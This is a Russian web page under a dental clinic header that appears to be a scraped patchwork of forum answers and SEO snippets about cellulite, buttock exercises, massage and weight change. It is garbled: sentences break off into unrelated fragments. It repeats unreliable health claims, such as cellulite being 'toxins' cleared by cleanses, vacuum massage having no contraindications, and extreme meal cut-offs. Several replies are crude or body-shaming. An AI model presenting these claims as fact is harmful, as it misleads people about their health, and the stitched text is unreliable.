Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Целлюлит на задней поверхности бедер и на внутренней стороне сверху-его там много.Как убрать?

Бегать по вечерам, на скакалке прыгать и много не кушать.

Предлагаемые далее упражнения для задней части бедра укрепляют мышцы этой зоны и соединительную ткань задней стороны ног и избавляют от целлюлита в этой области. Упражнение первое.

Как убрать незначительный целлюлит на задней поверхности бедра?

Начни делать массаж с помощью мёда и соли, после массаж наноси любой крем/гель антицеллюлитный.

Задняя поверхность бедра целлюлит. Татуировки задняя для мужчин испокон веков были полны особого символизма, очень много рассказывающего сведущему человеку о характере и личности.

Обертывания справятся с этой проблемой!!!

Мне нравятся обертывания с глиной, скрабы с кофейной гущи, а после антицеллюлитку.

Полезен ли вакуумный массаж? Какие у него есть противопоказания?

Противопоказания стандартные

Эффективные упражнения от целлюлита для мышц бедер и ягодиц.Внутренние поверхности бедер можно проработать упражнением бабочка . Сядь на ягодицы, согнув ноги в коленях.

Противопоказаия есть у всего...

При варикозе, кожных заболеваниях, близко расположенные вены

За сколько можно убрать целлюлит с помощью ходьбы на ягодицах?

Ходьба на ягодицах. записал.

Целлюлит встречается редко у мужчин, из-за структуры соединительной ткани. Причиной появления такой косметической проблемы будетЗадняя поверхность бедра. Исходное положение стоя. Встаньте спиной перед стулом, поместите обе ладони на стул по краям...

А ты не боишься. что при такой ходьбе, у тебя задница будет вот такая??? ?
Она то же ходила на ягодицах! ! Тебя это не пугает? ?

Эффект будет лучше, если добавлять Антицеллюл . крема и диету. А сроки? мы же не знаем какая стадия цел-та у вас, НО главное начать )))

Из-за чего мог появится целлюлит?

Я с ним не борюсь, я даже не знаю есть он у меня или нет

Эта программа разработана инструкторами по фитнесу, для борьбы с целлюлитом. И поможет нам уменьшить объемы бедер, живота и ягодицМышцы груди Соедините ладони перед лицом и начинайте давить со всей силы. Упражнения для мышц передней поверхности бедер.

А каким спортом? Какая диета? Многое зависит от возраста, от питания, от упражнений, все строго индивидуально, если не помогает, значит не то или более усердно стараться

Ну смотря на скольких диетах ты сидишь)
Ну вобще тут очень все просто убавь калории в рацеоне и все процент жира постепенно спадет больше салатов с овощами меньше мучного, жаренного и т. д.

Целюлит также может появится ели резко худеешь или поправляешся

Целлюлит - вторичный женский признак. Растирайте жесткой мочалкой проблемные места.

Целлюлит-это скопление ядов и токсинов в жировом слое, к тому что ты уже делаешь, это классно, но нужно периодически комплексно очищать организм. Есть классные очистки и космоцевтика в комплексе и целлюлита как не бывало!

Гимнастика для бедер против целлюлита.Прочитав данную статью, Вы узнаете о том, как в домашних условиях при помощи нескольких уникальных не сложных упражнений избавиться от целлюлита в одном из самых проблемных участков тела внутренней поверхности бедра !

Как лучше прокачать ягодицы?

Приседания со штангой или с гантелями-самое лучшее.

Достоинства отличный силикон пальчиков массажера, с целлюлитом на боковых поверхностях бедра справляется превосходно в сочетании с антицеллюлитным кремом.

Одна нога вперёд, вторая полусогнута. И приседать так. Но лучше на специальных тренажёрах. Обычные приседания тоже воздействуют.

Секс

Приседаниями с гантелями!!!!

Вело насосом или авто насосом! можно электро насосом!

Приседать!!!! Еще на лифте никогдане ездить, только надо вглубокий присяд уходить.

Задняя поверхность бедра. Лучшими упражнениями для задней поверхности бедра являются те, которые задействуют максимальное количество мышцВо-вторых, если ваша цель состоит в придании тонуса для задней группы мышц бедра или попытке избавиться от целлюлита, то...

Опять, я надеюсь, что Вы спрашиваете это из шутки?
Потому как если вы действительно собрались "прокачать" "ягодицы" идите за советом к профессионалу, который будет нести за это ответственность. А не сюда где пишут абы что написать. Так, например, если вы соберетесь последовать совету и уходить в глубокий присЯд - заранее себе скорую вызовите, коя доставит вас в ЦИТО где вам прооперируют травмированное колено, а то и оба.

По больше в попу давать!!!!

Приседания, отвод ног назад, бег.

Что такое вакумный массаж?

Водят по телу пылесосом без насадки .

Упражнения для мышц ягодиц и задней поверхности бедра. Вам хочется хорошо выглядеть и со спины? Предлагаемые упражнения против целлюлита укрепляют мышцы и соединительную ткань задней стороны ног.

Его делают что бы циллюлит и жирок убрать

Вакуумный это когда массажируемая область покрывается "засосами"- примерно тоже самое, что и банки (ставили тебе в детстве) . По поводу противопоказаний я могу только предположить, что его нельзя применять людям с близким расположением кровеносных сосудов к поверхности кожи. Рад если чем-то помог ;-))

Вакумный массаж это тот же медовый, укрепляет кожу, делаюет ее гладкой, уменьшается целлюлит, делают его так: берут банку палочку на палку наматывают вату поджигают, кожу перед этим смазывают маслом или жирным кремом, горящую палочку подносят к банке на пару секунд и на проблемную зону (попу, бедра) и водят масирующими движениями, противопоказаний нет, так же как и у медового массажа.
медовый массаж: берется мед (цветочныЙ) 1 чайная ложка на проблемную зону и похлопывающими движениями делается массаж в течении 10 минут, массаж болезненый остаются синяки, но эффект заметен после 5 применения, делают курс через день в течение 15 процедур, после массажа нужно принять душ и смазать кожу антицеллюлитным или увлажняющим кремом! будьте здоровы) не болейте)

Я критически толста? (фото)

Толстая таки.
помимо диеты попробуйте таки активный фитнесс.

Одной из наболевших женских проблем является целлюлит на бедрах. Его появление не связано с полнотой или комплекцией фигуры. Кожный покров на бедрах более рыхлый, и жировая ткань легко преобразовывается в апельсиновую корочку .

Вся надежда только на секс!

Толстовата, худей быстрей

Мне нравятся пышечки. В моем вкусе. Супер.

Лишний вес, конечно есть, но! талия хорошая, так что в целом фигура смотрится очень симпатично. правильно одеться, и будет красота

Некоторым мужчинам именно такие нравятся.

Таким образом, можно добиться исчезновения целлюлита на задней поверхности бедер и на ягодицах. Кроме того это упражнение значительно улучшает пищеварение, что в свою очередь позитивно сказывается на общем состоянии организма.

Нормально и не думай так

Эт не толстая, это упитанная)
ниче катострофичного не вижу. просто ухаживать за собой надо поактивнее)

Не критически! В целом фигура очень даже хорошо смотрится !

Нормуль!
больше движения, чтобы придать тонус телу, и все будет замечательно..

Марианна, вы аппетитны и хороши. нисколько не заморачивайтесь по поводу своего веса. пока вы нравитесь себе, все отлично!! ! а мужчины? они разные. кому-то нравятся худышки, кому-то - пышечки.

Задняя поверхность бедра имеет обширную мышцу, которую необходимо развивать не только спортсменам, но и людям, следящим за своей фигурой. Тренировка задней поверхности бедра избавит от возможности появления целлюлита, приведет мышцы в тонус...

Бывает и хуже, конечно. Про спорт правильно говорят. И массаж (особенно задняя поверхность бедра) А вот, с гормонами, я бы советовала очень осторожно, это не панацея, а даже наоборот. Приведите нервы в порядок. И действительно, любить себя такой, как есть нужно. Но не делать из себя кумира и всегда стремиться к совершенству. Будете заниматься спортом и спокойнее будете, и здоровее, и красивее.
Ещё добавлю, что во времена Рубенса, вам ещё и поправиться бы посоветовали)))

Немного поработать над ногами и будет всё прекрасно! удачи вам!

Смени мозги!!!! Я не шучу и не прикалываюсь. Хочешь пояснений - пиши.

Ну толстовата, надо поработать над собой немного!! ! Меньше мучного и не есть после 6, бег, зарядка с утра и все буде ок!

Всё не так уж и плохо. Посмотрела фотки--красивая девушка. Ага, посмотрела, сколько лет. Несколько хуже. Зто впереди есть время ) Если вопрос фигуры вас интересует в плане отношений с противоположным полом, если вы, вдруг, одна. То скажу так, у меня есть подруги с такой фигурой, у них есть парни переодически, то есть нельзя сказать, что всё замечательно, и нельзя сказать, что всё плохо, никому не нравятся. Но ведь и у девушек с безупречными фигурами не всё гладко, не правда ли?

Третий вариант упражнения, из того же ИП на локтях и коленях, поднимать вверх ногу, согнутую под 90 градусов в колене. Упражнения против целлюлита на бедрах и ягодицах. Этот комплекс поможет убрать целлюлит в домашних условиях с задней поверхности ног выше колена и с...

Марианна, у Вас очень гармоничная фигурка))) ) красивые бедра и ярко выраженная талия. Я бы посоветовала побороться с целлюлитом немного и перестать сидеть на кефире. Да-да! Организм ваш напуган такой скудной трапезой и не желает (и не станет! ) расставаться с лишними запасами. Пересмотрите процесс питания в принципе. Часто, но не более 200-250гр на прием пищи. пусть хоть через 2 часа. Ну и конечно выбросить все вредности из рациона: булочки, копчености, жирное и прочее (ну Вы знаете) Удачи!! !

Попробуй похудеешь, не набирая вес заново! Рассчитывают специально для каждого.

Лыжи плавание велосипед....

Лучше всякой диеты это спорт, и цэлюлита не будет. Конечно если со здоровьем все в поряде.

Ты тут без одежды.... и заметно что ты немного полна.... а вот думаю, что одежда все таки к телу прилегает и скрывает недостатки... .
но чуть похудеть можно будет... .
но похудеть нужно в бедрах.... у тебя талия есть.... а то у некоторых.... ого....

Это достаточно эффективный способ воздействия на целлюлит задняя поверхность бедра отлично восстанавливается и со временем приходит в нужную форму, причем от бугров и впадин не остается и следа.

-)) ну молодец, что фотку выставила!. . а я все за себя переживала, что со временем, моя фигура ухудшается... -)) а как увидела отзывы, что даже такая фигура нравится, у меня настроение подскочило! ( !!!)
не верь, что хорошо! для молодой женщины это ужасная толщина.. . немедленно займись хотя бы самомассажем бедер, ягодиц.... чтобы убрать ужасные бугры скоплений жира под кожей. . не нужна худоба, нужен плотный и ровный слой жировой прослойки! упругость а не холодец!

Все нормально
но если хочешь похудеть посмотри систему питания минус 60
всем помогает

Очень толстая.

Как убрать жир с попы?

Как поправиться подскажите?, после вторых родов вешу41кг.(((

Займитесь бодибилдингом
1.Есть спорт, который существует как будто специально для Вас, мои милые худышки, и называется он - бодибилдинг.
Почему именно он? Да потому, что с помощью бодибилдинга можно получить те самые формы, и формы у Вас будут из мышц, а не из целлюлита и жира.
Спокойно, никто Вас не заставляет по нескольку часов проводить в тренажерных залах, таская килограммовые гири. Существую программы, выполняемые дома за 15-20 минут в день, а результат будет ничуть не хуже спортзального. При регулярных упражнениях за пару месяцев можно сделать красивые бедра, попу и икры.
Вот эффективное упражнение для грудных мышц. Делает грудь заметнее, выше и более подтянутой.
Лягте на скамью (или, к примеру, на журнальный столик) . Из исходного положения (согнутые руки с гантелями находятся возле плеч) выжмите вес вверх до полного распрямления рук, затем медленно опустите гантели вниз. Сделайте три подхода по 10 повторений.
«Мостик» с грудным жимом поможет укрепить мышцы груди, задней поверхности бедер, ягодиц, передней поверхности плеч и трицепсы.
Лягте на спину, согните колени и упритесь стопами в пол. Разведите руки в стороны на уровне плеч и согните их под прямым углом: ладони смотрят внутрь, предплечья параллельны друг другу. Напрягите пресс и оторвите ягодицы от пола: тело должно образовать прямую линию от головы до коленей. Сохраняя это положение, выпрямите руки над грудью. Согните локти и повторите жим 4-6 раз, а затем опустите ягодицы на пол. Не делая пауз, повторите всю последовательность действий еще раз.
2.Белок, белок и еще раз белок, особенно после тренировки. Если вы тренируетесь дома, купите белковый коктейль, он есть почти в каждой аптеке.
Ваши продукты - это: яйца, орехи, сметана, сливки. Стакан сметаны или сливок каждое утро натощак тоже поможет поправиться. Мужчины еще советуют сметану с пивом, но, во-первых, это жуткая гадость, а во-вторых, от этого коктейля Вы скорее всего приобретете не формы, а животик.
3.Спите побольше!
Верное средство не чувствовать усталости и иметь привлекательные формы - это сон. Если есть возможность чуть вздремнуть среди дня или полчасика поваляться на диване после работы - это очень хорошо и для фигуры, и для самочувствия.

Как избавиться от целлюлита на бедрах упражнения. Без физической нагрузки убрать целлюлит очень сложно.3. Работа с ягодицами. Самое эффективное упражнение для задней поверхности бедра так называемый лондонский мостик .

Избавиться от дизбактериоза, пить "простую" активию

Мне бы твои проблемы..)))))

Порой набрать вес так же сложно, как и сбросить.
Для начала стоит предупредить: излишняя худоба может сигнализировать о наличии серьезных заболевания. Если вы худеете с каждым месяцем, несмотря на регулярное питание и нормальный отдых, стоит срочно проконсультироваться у врача. Вероятно, причина проблем с весом эндокринные нарушения, из-за которых одни бесконтрольно набирают вес, другие теряют.
Если же со здоровьем все в порядке, и вы с детства отличались худобой, можете без страха начать набирать вес. Как? Придется сесть на диету.
Самое распространенное заблуждение: чтобы поправиться нужно есть как можно больше, причем не забывать включать в рацион булочки, пирожные и прочие бессмысленные калории. На самом деле есть нужно столько, сколько хочется. Зачем объедаться? Даже если вы с героическими усилиями все-таки съедите пятнадцатую сосиску, вес не прибавится, а проблем с желудком не избежать.
Раньше диетологи советовали: чтобы поправиться, нужно есть 5-6 раз в день, причем не допускать чувства голода в течение дня и вовремя перекусывать. Сегодня же эту популярную точку зрения раскритиковали и призвали принимать пищу ровно три раза в день, в одно и то же время.
Чувство голода необходимо утолять обильными (а точнее, достаточными) порциями. Режим в данном случае самое главное. Стоит полгода питаться в одно и то же время, и вы заметите разницу. Почему не стоит набирать вес с помощью обжорства? Такой способ питания ускоряет и без того слишком быстрый (у худых людей) метаболизм. При этом пища просто не успевает перевариваться и усваиваться. Так что, придерживайтесь умеренности.
Причиной худобы зачастую является отсутствие аппетита. В результате число приемов пищи может сократиться до одного в сутки. В этом случае необходимо стимулировать аппетит: например, минут за двадцать до обеда выпивайте стакан фруктового или овощного сока. Разбудить аппетит могут пикантные мясные закуски, несколько штук японских роллов или небольшое количество любой другой экзотической пищи.
Питание людей, желающих как можно скорее набрать вес, должно быть белково-углеводным. Соотношение белков, жиров и углеводов выглядит примерно следующим образом: 45% углеводов, 30% жиров, 25% белков. Если вы понимаете, что "недобираете баллов" по жирам, пейте жирный кефир или молоко.
Из белковых продуктов больше всего полезна курица куриное мясо легче всего усваивается и помогает формироваться мышечной ткани. Вам же нужен настоящий мышечный вес, а не бесполезный жир в самых неподходящих местах? Углеводы содержатся во всеми любимых сладостях, макаронах, картофеле и т. д. Однако и худым следует знать меру обилие сладкого может нарушить процесс пищеварения.
Любая диета должна быть подкреплена физическими упражнениями, и диета "для худых" исключения собой не представляет. Основной нюанс упражнения должны быть непродолжительными и неизнуряющими. Занимайтесь по самой щадящей программе. Единственная задача физической нагрузки во время набора веса распределять калории по всему организму. Изнуряющие тренировки приведут к формированию худого, но жилистого тела, в котором, согласитесь, мало прекрасного.
Какие занятия предпочесть? Йога, плавание и обычная домашняя зарядка. Если вас беспокоят худые ноги и слабые руки, займитесь соответствующими группами мышц. Не забывайте об упражнениях для укрепления мышц спины кривой позвоночник зачастую препятствует хорошему пищеварению и стимулирует снижение веса.
Что делать, если по прошествии нескольких месяцев вы не заметили улучшений? Психологи считают, что худым людям не позволяют поправиться собственные психологические установки, как правило, подсознательные. Некоторые боятся, что вес выйдет из-под контроля, и позже придется лечиться от ожирения. Некоторые корят себя за каждый проглоченный кусок. Некоторые настолько уверены в собственной непривлекательности и невозможности поправиться, что любые диеты не приведут к успеху.

Кушай

Счастливая вы женщина!

Если у вас целлюлит расположен только в верхней части бедра - не ленитесь и делайте самомассаж всей поверхности ног.В заключение массируют задние поверхности б дер.

Не как не могу избавиться от целлюлита! ! девушки, помогите своими советами (ТЕ КОМУ РЕАЛЬНО ПОМОГЛО)!!

Массаж и упражнение но делать надо постоянно

Моя задняя поверхность бедра у меня все нужные этапы прошла и горела, и пеклась, и прожигалась, и провалилась окончательно Для меня эта зона оказалась почти безболезненная, местами даже приятно было привет мазохистам , ближе к концу...

Абсолютно народное средство - бег

Иди к врачам.

Народные? - не смеши
аппаратная косметология и обертывания уберут

Народыми? Можешь забыть тогда. Антицеллюлитный массаж + нормальное питание + спорт.

Скраб "Лакшми".
Ингредиенты:
1/2 стакана сахара
1/2 стакана морской соли Показать полностью..
1/2 стакана оливкового масла "Extra virgin"
1/2 стакана меда
эфирные масла ( иланг-иланг, пальмароза, апельсиновое, ромашковое, в общей сложности 30 капель )
1 ст. ложка масла ши
1 ст. ложка масла какао
25 гр. корицы
25 гр. сухого имбиря
25 гр. какао-порошка
Приготовление:
Смешать морскую соль и сахар, добавить оливковое масло и ваши любимые эфирные масла. Их должно быть не более 30 капель в общей сложности. На водяной бане растопить мед, в него, постепенно помешивая деревянной ложечкой, добавить сухие ингредиенты - имбирь, какао, корицу. Когда мед полностью расплавится, немного остудить и перелить получившуюся смесь к соли, сахару и оливковому маслу.
Можно хранить скраб в чистой баночке. Для одного раза достаточно всего пары ложек. Делала пару раз в неделю после душа, целлюлит заметно сократился, результатом я довольна и пользуюсь до сих пор.

Упражнения для задней поверхности бедра помогут сделать ноги сильными и красивыми. Большинство женщин считают ноги наиболее проблемной частью своего тела. Известно, что целлюлит и лишние жировые отложения в этой области с трудом поддаются корректировке.

Велосипед

Занималась спортом. Бегом, на велотренажере.

Как сделать ягодицы упругими?

Приседания делать, ходить по лестницам пешком, запишитесь на фитнес.. .
и не сидите у компьютера!!!

Упражнения против целлюлита на бедрах являются одновременно и средством профилактики целлюлита, и одним из способов борьбы с ним. Прочитав эту статью, вы узнаете, как избавиться от целлюлита на бедрах.

Видео Голливудский тренер Ягодицы и бедра.. каждый день и через 2 недели попа конфетка, хотя зависит от исходника и генов

Я занимаюсь Голливудским тренером, это видео программа, можно вконтакте найти.
Так мало того что ноги постройнели, так еще целлюлит рассосался.
Не кушала после 6,если было не в моготу кефирчик пила.
Занятия длятся 20 мин. 2 дня правда мышцы будут болеть, ну это как всегда после физ нагрузки.
Но потом станете как наркоман по зарядке, гарантирую.
Также есть и для живота Голливудский тренер, при поиске не перепутайте.))) )
Желаю удачи.
Это лучшее что я когда либо пробовала, действительно работает!

Согласна с Венерой, приседания и бег по лесенкам, это то что надо))

НЕ ЗАБЫВАЙТЕ О ТОМ, что ягодицы – это очень активная группа мышц. Они участвуют в большинстве выполняемых нами движений. Поэтому тренировать их можно, катаясь на роликовых или обычных коньках, а также на велосипеде. Даже простой подъем на несколько этажей по лестнице – это уже хорошая нагрузка для ягодиц.. .
УПРАЖНЕНИЯ:
Лягте на спину, руки положите вдоль тела. Поставьте стопы на ширине плеч и пододвиньте их как можно ближе к ягодицам. Оторвите ягодицы от пола. Опускайте и поднимайте таз, работая с небольшой амплитудой. Постарайтесь не опускать ягодицы на пол до окончания упражнения.
Встаньте на колени. Упритесь предплечьями в пол. Поставьте колени на ширине плеч. Позвоночник должен сохранять естественный изгиб. Для этого расслабьте мышцы живота, а потом напрягите их и опустите лопатки. Правую ногу нужно вытянуть назад, параллельно полу. Работайте с небольшой амплитудой, поднимая и опуская таз. Во время упражнения нога не должна касаться пола. На протяжении всего упражнения корпус должен оставаться неподвижным.
Приседания. Встаньте прямо, поставьте ноги на ширине плеч. Напрягите мышцы живота. Слегка согните ноги в коленях и опустите таз. Задержитесь в этой позе, затем повторите упражнение несколько раз в течение 1 минуты. При выполнении этого упражнения укрепляются также мышцы задней поверхности бедра.
Лягте на пол на правый бок. Положите под голову согнутую в локте правую руку. Ноги вместе, носки вытянуты. Левую ладонь поставьте на пол перед собой для опоры. Сведите лопатки и напрягите мышцы пресса. Слегка приподнимите левую ногу и медленно сделайте движение сначала вперед, а затем назад. Повторите упражнение 6 раз, а затем перевернитесь на другой бок.
Лягте на живот, вытянув ноги. Носки и пятки держите вместе. Предплечьями и лопатками упритесь в пол. Сведите лопатки и напрягите пресс. Оторвите бедра от пола и поднимитесь на носки. Ваше тело должно образовать прямую линию. Задержитесь в этом положении на 20–30 секунд. Когда вы оторвали корпус от пола, все мышцы тела должны быть напряжены. Особенно это касается мышц ягодиц и пресса. Иначе поясница будет провисать.
Удачи!!!! =))))))

Сайт в низу.. .
удачи. .

Но еще более важно, что у них уменьшились объемы бедер где чаще всего и появляется целлюлит в среднем на 3 см. Вместе с темСядьте на сиденье тренажера для тренировки мышц задней поверхности бедер, ноги прямые, валик под лодыжками, упор поперек бедер.

Читай тут
http://sportbok.narod.ru/Fit/fit1.html

Как сделать красивую попу?

Приседай

Теперь давайте разберемся как избавиться от целлюлита на задней поверхности бедра.Задняя поверхность бедра Ляг на живот, положи голову на руки, согни ноги в коленях и подними их вверх.

Ешь торты

Общие правила приседаний: 1. Напрягите мышцы живота: они должны образовать корсет вокруг талии и зафиксировать позвоночник. 2. Не выгибайте и не округляйте спину, не сутультесь: от копчика до затылка должна быть прямая линия. 3. Следите за тем, чтобы в нижней позиции колени не выходили вперед, внутрь или наружу: они должны оставаться над стопами. 4. Не отрывайте пятки от пола. 5. Не задерживайте дыхание, дышите ровно и спокойно, в такт движениям.

Махи ногами назад - туловище держать прямо

Нарисуй хорошенькую тату

Приседания с весом - отличная штука. любую попу на ноги поставит!

Комплекс упражнений от целлюлита Антицеллюлитная гимнастика Чтобы упражнения дали желаемый результат, необходимоРис. 7. Этап 3. Упражнения для задней поверхности бедра. Упражнение 1.

Http://sportbok.narod.ru/Fit/fit1.html

Выпады с гантелями, колени перебинтуй

Делай эти 5 упражнений через день в течении месяца, и упругая попка твоя.
1. Приседание с отведением ноги
Работают мышцы бедер и ягодиц
и. п: стопы на ширине плеч.
раз: выполни приседание – потянись ягодицами назад, сохраняя вес тела на пятках, бедра при этом параллельны полу, угол в коленных суставах – 90°, мышцы живота в тонусе.
два: на выдохе поднимись и отведи правую ногу в сторону, носок – на себя.
2. Выпад с подъемом ноги
Работают мышцы бедер и ягодиц
и. п: ноги на ширине таза. Левая нога впереди, правая – сзади, упор на носок. вытянут, лопатки сведены.
раз: выполни приседание, угол в коленных суставах – 90°.
два: на выдохе поднимись, одновременно перенеси вес тела на левую ногу, а правую оторви от пола. Не прогибайся в пояснице, мышцы живота в тонусе! Вернись в и. п.
3. Плие с подъемом на носки
Работает внутренняя поверхность бедра и икроножные мышцы
и. п. : стопы шире плеч.
раз: на вдохе выполни глубокое приседание (колени направлены на носки, спина ровная, кобчик тяни вниз!) , в нижней его точке поднимись на носки.
два: выдох – и. п. .
4. Подъем бедра
Работают задняя поверхность бедра и мышцы ягодиц
и. п: прими коленно-локтевой упор. Зафиксируй спину, не прогибайся в пояснице, мышцы живота в тонусе.
раз: на выдохе подними согнутую ногу верх, потянись пяткой в потолок, но не допускай разворота в тазобедренном суставе.
два: вдох – и. п.
5. "Бабочка"
Работают внутренняя поверхность бедра и мышцы ягодиц
и. п: лежа на левом боку. Обопрись на руку, подними согнутые в коленях ноги (угол – 45°), стопы – на весу.
раз: на выдохе направь правое колено в потолок, одновременно напрягая ягодицы.
два: и. п.

Дам ответ те та тет отвечу.

Подьем бедра самая супер гимнастика, попа как камень потом или встаешь на колени и начинаешь поднимать ноги только нога должна находиться под 90 градусов начни с 20 подходов на каждую ногу а потом сама почуствуешь, если во время занятия начинается жжение в области попы то значит твои мышцы работают, но не перебарщи. Удачи

Массируется в основном лишь наружная поверхность бедер. На область внутренней поверхности глубокий целлюлит-массаж противопоказан.Массаж задней поверхности бедер проводится аналогично массажу передней поверхности.

Поделитесь опытом! Как эффективнее и быстрее избавиться от целлюлита?

ФУУУУ машка так у тебя цилюлит уже всё надо всем сказать

Очень часто целлюлит поражает заднюю поверхность бедер. О его существовании можно даже не догадываться. Один случайный взгляд через плечо в зеркало может стать причиной неприятного открытия.

Липосукция

Нельзя в принципе. это скорее наследственность.

Быстро не получится... терпение и много времени надо.. либо ходить самой на проф массаж, либо делать с антицелл кремами, вакуумнымными банками, обертывания делать.

Чтож тебе спортом впадлу заняца???

Только антицеллюлитный массаж + жестокая диета ( не есть после 15.00) и не есть мяса и ни вкоем случае не курить - главное условие.
Массаж только руками - настоящий, трудоемкий, после которого ощущение, как после бани, только без бани. Набивка тела, как для карате. Мышцы подтягиваются и создается эффект корсета для живота. Живот где-то после 10-й процедуры становится относительно плоским.
Со спины целлюлит уходит относительно быстро, самая тяжелая часть - низ живота.. . Все зависит от толщины слоя и дисциплинированности пациента ...
И еще не жалеть денег на хорошие кремы - особенно Diademine....

От целлюлита на ягодицах и задней части бедра. Ляг на спину, согни ноги в коленях, стопы на ширине плеч, руки вдоль туловища.Задняя поверхность бедра. Ляг на живот, голову положи на руки.

Могу посоветовать крем "Домашние рецепты" с тростниковым сахаром - только тереть надо не жалея себя и каждый день, через неделю кожа разгладиться и (Если бугристость сильная) разровняется. Еще в аптеках продаются средства от целлюлита российского производства в ярких упаковках (Зеленая для живота, ораньжевая для бедер) - тоже хорошо помогают.

Диета... массаж... вытерпите ли???? электромиостимуляция!!!! только не путать со слабенькими "бабочками"...это самый быстрый и эффективный способ избавиться от целлюлита и сделать желаемые места упругими за сравнительно короткий промежуток времени... поспрашивайте, наверняка некоторые салоны красоты либо медицинские учреждения предлагают такие услуги)))

Может стоит забыть про эти два месяца и настроиться на то, что бы он совсем исчез? Но тогда только упорная работа над собой - фитнес, аэробика, любые регулярные физические нагрузки. Здоровое питание, здоровый образ жизни.
И в результате через некоторое время, Ваша проблема решена, а Вы красавица!

Масло апельсина или грейпфрута и массаж очень хорошо помогает но чтобы он вновь не появился нада делать это постоянно

Я свела массажем- 11 сеансов, попеременно баночный и медовый, но после надо будет постоянно поддерживать- либо раз в полгода повторять курс, либо раз в неделю ходить на одну процедуру, по крайней мере у меня был последней стадии- желе, после массажа едва заметная рябь, под загаром ее вообще не видно было...

Упражнения от целлюлита на попе хорошо действуют также на заднюю поверхность ног. Поэтому выполнять их следует обязательно при появлении бугорков на ягодицах и бедрах. Комплекс следующий

Многие антицеллюлитные кремы содержат кофеин, который раздражает или обезвоживает кожу, что позволяет сократить внешние проявления целлюлита. Проблема в том, что для сохранения эффекта такие средства нужно использовать постоянно. Массаж и более интенсивные косметические процедуры также приносят лишь временное облегчение, хотя и стоят не дешево.
Вылечить его хирургическим путем невозможно. В образовании "апельсиновой корки" участвует подкожный жировой слой, а липосакция удаляет жировые отложения, расположенные более глубоко. Наблюдения специалистов показывают, что наиболее запущенные формы целлюлита встречаются у худых женщин, которые не занимаются спортом, имеют дефицит мышечной массы и тонкую кожу.
Целлюлит также вовсе не косметическая проблема. Он появляется, если у женщины (у мыжиков, кстати, тоже бывает!! ) относительно много жировых отложений и недостаток мышечной ткани. И только благодаря специальным упражнениям можно значительно уменьшить проявления целлюлита и улучшить свой внешний вид.
При целенаправленных занятиях в тренажерном зале (3 раза в неделю хотя бы по 20-30 мин) реально увидеть хорошие результаты уже через 2 месяца.
Базовая программа направлена на укрепление мышц нижней части тела с помощью тренажеров + растяжка+ 10 мин кардиоупражнений.
Если нет возможности ходить в зал, то тренируйся дома, используя максимально возможное отягощение (гантели, резиновые амортизаторы, эластичные бинты) .
Минимальный комплекс упражнений на тренажерах составляет следующий набор:
1. сгибание ног (задняя поверхность бедра, бицепс)
2. разгибание ног (передняя поверхность бедра, квадрицепс)
3. сведение бедер (приводящие мышцы внутренней поверхности бедра)
4. разведение бедер (верхняя часть бедра)
5. ножной жим (ягодицы, голени, передняя и задняя поверхность бедра)
Достаточно делать по 1 подходу с 10-15 повтеорениями.
Чтобы результат был быстрее, нужно расширить программу тренировки (кардио до 18-20 мин+силовая часть на грудь, спину и пресс) :
6. грудной жим в положении лёжа (грудь, передняя часть плеч и трицепсы)
7. тяга в положении сидя (середина спины, задняя часть плеч и частично бицепсы)
8. жим над головой (верхняя часть спины и плеч)
9. гиперэкстензий корпуса (низ спины)
10. скручивания (пресс).

Тогда делать придется все - массаж, упражнения, крема, пешие прогулки, откорректировать питание.. . врядли для вас это новость)) л

Мезотерапия, обертывания, массаж !

Www.plantarium.ru/page/help/topic/javascript.html
Пробовала на себе, супер!!!!

От целлюлита хорошо помогают обертывания GUAM, курс занимает месяц-полтора. Мне нравится эта маска , правда я в сочетании с кремами пользуюсь. Но эффект действительно есть, и в сантиметрах уменьшаешься. ))

В результате после похудательных программ вдруг появляется целлюлит, который раньше был незаметен, а после проведения антицеллюлитных мероприятий вместо жира с задней поверхности бедер уходит жир со щек, рук или бюста.

Очень хорошо от целлюлита помогает аппарат cellules!! Принцин его действия основан на вакуумном масаже. Он стоит не дорого, а эффект просто потресающий! ПРОВЕРЕНО!!!!

Избавиться от целлюлита помогает только масаж? а спорт поможет убрать целлюлит?

Конечно, существуют целые фитнес программы
вот, например:
Для большей эффективности результатов после тренировки, совершайте 20-минутную прогулку. И пейте больше воды, не менее 2 литров в сутки.
Тренировка
Занимает примерно 40 минут, выполняется 3 раза в неделю (если позволяет время и силы переходите на ежедневные упражнения) .
Для этой фитнес программы понадобятся две гантели (2-3 кг) , их можно купить в любом спортивном магазине.
Любую тренировку нужно начинать с разминки и разогрева мышц, чтобы привести пульс в порядок. Поэтому начните с легкой пробежки (3-6 минут) , если же Вы занимаетесь в квартире и территория не позволяет бегать, то можно потанцевать под музыку. Затем 10 - 15 высоких, энергичных прыжков. И снова легкий бег или танец в течение двух - трех минут. Далее делаем несколько упражнений на растяжку, потом расслабляемся.
Упражнения выполняются интенсивно, восстановление между подходами: 15-25 секунд.
Несмотря на кажущуюся простоту описанных ниже упражнений, выполнять их нужно длительно и тщательно (до ощущения легкой усталости в мышцах) , только в этом случае тренировки принесут результат.
Упражнения для мышц рук
Станьте прямо, поднимите одну руку вверх и делайте резкие, быстрые движения в сторону и за спину. Затем скрестите обе руки и потяните их вверх. Расслабьтесь. Продолжайте упражнение другой рукой.
Мышцы груди
Соедините ладони перед лицом и начинайте давить со всей силы.
Упражнения для мышц передней поверхности бедер
Встаньте прямо и держась одной рукой за спинку стула, поднимайте прямую ногу вперед. Потом повторите для другой ноги. Расслабьтесь.
Выполните несколько подходов упражнения.
Упражнения для мышц задней поверхности бедер
Примите положение лежа, согните ноги в коленях и поднимайте ягодицы вверх.
2. Встаньте на колени и придерживаясь руками за стул, делайте махи вверх (назад) одной ногой, потом другой. Расслабьтесь. Сделайте несколько подходов.
Упражнения для икр
Встаньте прямо, сделайте несколько махов вперед прямой ногой, затем согните ногу в колене и повторите упражнение. Повторите для другой ноги.
Упражнения для мышц бедер, пресса, ног
Встаньте прямо, ноги на ширине плеч, напрягите пресс, руки с гантелями разведите в стороны. Начинаете постепенно опускаться вниз (спина ровная) , пока бедра не станут параллельно полу. Затем начинайте раскачиваться на пятках. Примите начальное положение.
Упражнения рекомендуется повторять 20 раз в два захода.
Упражнения для передней и внутренней поверхности бедер
